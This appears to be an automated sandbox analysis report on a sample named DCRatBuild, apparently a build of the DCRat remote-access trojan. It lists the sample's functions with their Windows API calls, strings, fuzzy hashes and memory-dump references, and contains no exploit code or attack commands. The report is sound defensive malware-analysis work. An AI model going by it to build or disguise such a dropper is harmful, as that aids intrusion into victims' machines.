Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 00f1479885c3c8ec6000f4120e2f63312d8bc8fec4710ae16bbdbaa34518c92b
Instruction ID: 064a796a7b81375cb02f87ece65b209c8845e04f29edc6c7eb76ad0e08ff3a6e
Opcode Fuzzy Hash: 00f1479885c3c8ec6000f4120e2f63312d8bc8fec4710ae16bbdbaa34518c92b
Instruction Fuzzy Hash: 68519372610216AFEF29AE68CC81EBFB7AAFB44760F194629FC05D6140DB34DC50C6D2

Uniqueness

Uniqueness Score: -1.00%

Function 00893B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00893C35,?,?,008D2088,00000000,?,00893D60,00000004,InitializeCriticalSectionEx,008A6394,InitializeCriticalSectionEx,00000000), ref: 00893C03

Strings

api-ms-, xrefs: 00893BC3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 47d06cd76400b33144b930004a464982beec9d55f7122bbfd4b1225a37d0f0d7
Instruction ID: 8c7966c6625ad86fc0c39224fdd68e6ea41a1937118dd8bda9e08dd109e881b7
Opcode Fuzzy Hash: 47d06cd76400b33144b930004a464982beec9d55f7122bbfd4b1225a37d0f0d7
Instruction Fuzzy Hash: F3110632A05625ABDF32AB689C41B5937A4FF02774F2D0210F811FB290E770EF0086D1

Uniqueness

Uniqueness Score: -1.00%

Function 0088AC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00880836
Part of subcall function 0088081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0087F2D8,Crypt32.dll,00000000,0087F35C,?,?,0087F33E,?,?,?), ref: 00880858

OleInitialize.OLE32(00000000), ref: 0088AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0088AC66
SHGetMalloc.SHELL32(008B8438), ref: 0088AC70

Strings

3vo, xrefs: 0088AC47
riched20.dll, xrefs: 0088AC1E

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3vo
API String ID: 3498096277-646756056
Opcode ID: 3af3703ed150e575c6d271418e139feb705290935c898121adaaddb77c0a7165
Instruction ID: 7c929c62c1960805c813f35f0d4862c5c7c615622cbc2e4f8bf1c529918b857f
Opcode Fuzzy Hash: 3af3703ed150e575c6d271418e139feb705290935c898121adaaddb77c0a7165
Instruction Fuzzy Hash: 17F0F9B5900209ABCB10AFA9D8499EFFBFCFF84700F00416AA415E2241DBB856458FA2

Uniqueness

Uniqueness Score: -1.00%

Function 008798E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00877760,?,00000005,?,00000011), ref: 0087995F
GetLastError.KERNEL32(?,?,00877760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0087996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00877760,?,00000005,?), ref: 008799A2
GetLastError.KERNEL32(?,?,00877760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 008799AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00877760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 008799F9

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 2b82c827910e98cf2bee58529059f6a56aa1e0e749882853ff81e69e73c79ad6
Instruction ID: d5eb46e5b664b0cb18403aac630b62ea665878b6d3bb8e946e6d94b52e1ab0a4
Opcode Fuzzy Hash: 2b82c827910e98cf2bee58529059f6a56aa1e0e749882853ff81e69e73c79ad6
Instruction Fuzzy Hash: 93311130544745AFF7209B24CC46B9ABF98FB05320F204B19FAE9D61D5D3A4E984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0088B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0088B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088B58A
IsDialogMessageW.USER32(0003045E,?), ref: 0088B59E
TranslateMessage.USER32(?), ref: 0088B5AC
DispatchMessageW.USER32(?), ref: 0088B5B6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 0edcac1e06e337240411adbb336701060838a32ab5a182fdee41635432e18806
Instruction ID: ca2d2e035b3db4af86a2d2462d6d9028b7a6c418756a4ebf7033287d37adfbc5
Opcode Fuzzy Hash: 0edcac1e06e337240411adbb336701060838a32ab5a182fdee41635432e18806
Instruction Fuzzy Hash: E6F07071A0212ABB8B20AFE5EC4CDDB7FBCFE457917404515B515D2050EB74DA09CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0088ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0088ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0088ABF9

Part of subcall function 00881FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0087C116,00000000,.exe,?,?,00000800,?,?,?,00888E3C), ref: 00881FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0088ABE9

Strings

EDIT, xrefs: 0088ABCD, 0088ABD8, 0088ABE5

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: c7004b4e9b333c0b7f9d19f75c046a3f88415dcf3191422efcf4022587f056a2
Instruction ID: c6f3def3e9edc31ddd925e7c49317ffcb18ef72e34d13f5f02bfcc5cd39274d4
Opcode Fuzzy Hash: c7004b4e9b333c0b7f9d19f75c046a3f88415dcf3191422efcf4022587f056a2
Instruction Fuzzy Hash: 25F0823270162876EB2066649C09F9B776CFF46B50F484112BA45F21C0DBA0DE4586B7

Uniqueness

Uniqueness Score: -1.00%

Function 0088DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0088DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0088DC30

Strings

sfxcmd, xrefs: 0088DBEF
sfxpar, xrefs: 0088DC2B

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: ae7f27fbdb05347ee52e2446fc8d74d622bc7916e139be759735a385028a2e4b
Instruction ID: 87c939d9b49c444f7979df68ea823dc027bab8ea5ce65c1e3cb5bb4ac8529732
Opcode Fuzzy Hash: ae7f27fbdb05347ee52e2446fc8d74d622bc7916e139be759735a385028a2e4b
Instruction Fuzzy Hash: 4FF0E5B2504328ABEB213F99CC06BFA7B59FF16B85B040411FD85D6291E7B48980DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00879785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00879795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 008797AD
GetLastError.KERNEL32 ref: 008797DF
GetLastError.KERNEL32 ref: 008797FE

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 81313d4186f97e7249482aa45c2af4986b47ade693fb6f23429ee3a85fe4800c
Instruction ID: 8a8f01f8c2fe7a62bc1a37988461e881485116366eea0000805717eb33a5f26f
Opcode Fuzzy Hash: 81313d4186f97e7249482aa45c2af4986b47ade693fb6f23429ee3a85fe4800c
Instruction Fuzzy Hash: 4411A130914608EBDF249F68C804A6A77A9FB433A4F10C939F4AEC5598E774DE44DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0089AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00893F73,00000000,00000000,?,0089ACDB,00893F73,00000000,00000000,00000000,?,0089AED8,00000006,FlsSetValue), ref: 0089AD66
GetLastError.KERNEL32(?,0089ACDB,00893F73,00000000,00000000,00000000,?,0089AED8,00000006,FlsSetValue,008A7970,FlsSetValue,00000000,00000364,?,008998B7), ref: 0089AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0089ACDB,00893F73,00000000,00000000,00000000,?,0089AED8,00000006,FlsSetValue,008A7970,FlsSetValue,00000000), ref: 0089AD80

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 790143ad63b5bb3631bc12b5dc8c941a0924169ea44a97365fb3dd4484d6d397
Instruction ID: 52ba3cac8dadc64fe453197cdf6e4fdf79491e80fff01b90e83b4b0c063a3c51
Opcode Fuzzy Hash: 790143ad63b5bb3631bc12b5dc8c941a0924169ea44a97365fb3dd4484d6d397
Instruction Fuzzy Hash: D1012B36202236AFDF255B68DC44A577BA8FF467A37190720F906D7A50D721DD01C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00879F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0087D343,00000001,?,?,?,00000000,0088551D,?,?,?), ref: 00879F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,0088551D,?,?,?,?,?,00884FC7,?), ref: 00879FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0087D343,00000001,?,?), ref: 0087A011

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 170ff267cab900cc629633f96d71ecda69a7b332e7d2ad6328fef65c8d4880f8
Instruction ID: 6247150d0c2f449735491fe0789f680b70bc097a9d144d9e1ecff1cedc55e872
Opcode Fuzzy Hash: 170ff267cab900cc629633f96d71ecda69a7b332e7d2ad6328fef65c8d4880f8
Instruction Fuzzy Hash: D531BF31208705EFDB18CF24D818B6E77A6FB85715F008919F589DB294CB75DD48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0087A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0087C27E: _wcslen.LIBCMT ref: 0087C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A30C
GetLastError.KERNEL32(?,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A329

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 79fc2bf23bb3335d806d372e50010af0be3c100efa3767aff21b771bb5fb43e3
Instruction ID: 7283f8610a274c7654d9caaa01f0c05773e05f0370364c01bb2de3829b00fdcb
Opcode Fuzzy Hash: 79fc2bf23bb3335d806d372e50010af0be3c100efa3767aff21b771bb5fb43e3
Instruction Fuzzy Hash: FF01B531614614AAEF29AF754C09BFD3248FF4A780F04C415F909E6199D764CAC186B7

Uniqueness

Uniqueness Score: -1.00%

Function 0089B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0089B8B8

Strings

, xrefs: 0089B8FD

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 9ccfebca344e939a16d05ae8a00e265d9a4dd4b80f51b46836a55d648863f329
Instruction ID: 5d359cfc2671796874365673876c05d0a4556466ae1b7bc703371387cbe068fe
Opcode Fuzzy Hash: 9ccfebca344e939a16d05ae8a00e265d9a4dd4b80f51b46836a55d648863f329
Instruction Fuzzy Hash: FD41F77050429C9EDF219E28DD84BF6BBE9FB45308F1804EDE69AC7142E335AA45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0089AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 0089AFDD

Strings

LCMapStringEx, xrefs: 0089AF7D, 0089AF87

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 6929ae1399871b0ae5d12d6b772995bcd915426e4faf128f6a971af95f692475
Instruction ID: c204e2552ead0e245732b6b06cbea1e16672708d45afa15fe1aae6b0b0942eea
Opcode Fuzzy Hash: 6929ae1399871b0ae5d12d6b772995bcd915426e4faf128f6a971af95f692475
Instruction Fuzzy Hash: 1701483250420DBBDF06AF90DC02EEE7F62FF09754F094155FE14A6260CA368A31EB81

Uniqueness

Uniqueness Score: -1.00%

Function 0089AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0089A56F), ref: 0089AF55

Strings

InitializeCriticalSectionEx, xrefs: 0089AF1B, 0089AF25

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 52942b38a2b0f5ad009c221fe58308318ce8bea84398e1454e25d640cba8225c
Instruction ID: bbcf92d80e93e83f7e654895e2af7661dae6ae50eb9892ab5c78c2e6557d712a
Opcode Fuzzy Hash: 52942b38a2b0f5ad009c221fe58308318ce8bea84398e1454e25d640cba8225c
Instruction Fuzzy Hash: 62F0BE31645208BFDF166F54CC06DAEBFA1FF06B21B044066FD18EA260DA764E11EBC6

Uniqueness

Uniqueness Score: -1.00%

Function 0089ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0089ADEE

Strings

FlsAlloc, xrefs: 0089ADC0, 0089ADCA

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: fd68fadeaa4d2e616c82e21bb37cdbb7e3e9fa8878459c105dcccd0b3efc1fcf
Instruction ID: 8bff849043092ed7eb80e603f23e049066fd7a55265f3ab5855e9c2b53eba7a0
Opcode Fuzzy Hash: fd68fadeaa4d2e616c82e21bb37cdbb7e3e9fa8878459c105dcccd0b3efc1fcf
Instruction Fuzzy Hash: FEE05530640208BBEA04BB29CC02A2EBB50FB06721B08009AF800E7740CD784E0092C6

Uniqueness

Uniqueness Score: -1.00%

Function 0088EAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0088EAF9

Part of subcall function 0088E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0088E8D0
Part of subcall function 0088E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0088E8E1

Strings

3vo, xrefs: 0088EAE7, 0088EAF3

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3vo
API String ID: 1269201914-2837116934
Opcode ID: 7d66345c76ccc3b60e007820804d44e8f20975e3ccc2fc1a12adad5567c9236a
Instruction ID: ec9de857fd49bf27e67171ecb4a7501b7d1a9ccc33acbf42135948e1cc8e4dce
Opcode Fuzzy Hash: 7d66345c76ccc3b60e007820804d44e8f20975e3ccc2fc1a12adad5567c9236a
Instruction Fuzzy Hash: 7CB012C629E4567D3108B3451D02C3F020CF5E1F90330813FF610C4581DC800C050933

Uniqueness

Uniqueness Score: -1.00%

Function 0089BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0089B7BB: GetOEMCP.KERNEL32(00000000,?,?,0089BA44,?), ref: 0089B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0089BA89,?,00000000), ref: 0089BC64
GetCPInfo.KERNEL32(00000000,0089BA89,?,?,?,0089BA89,?,00000000), ref: 0089BC77

Memory Dump Source

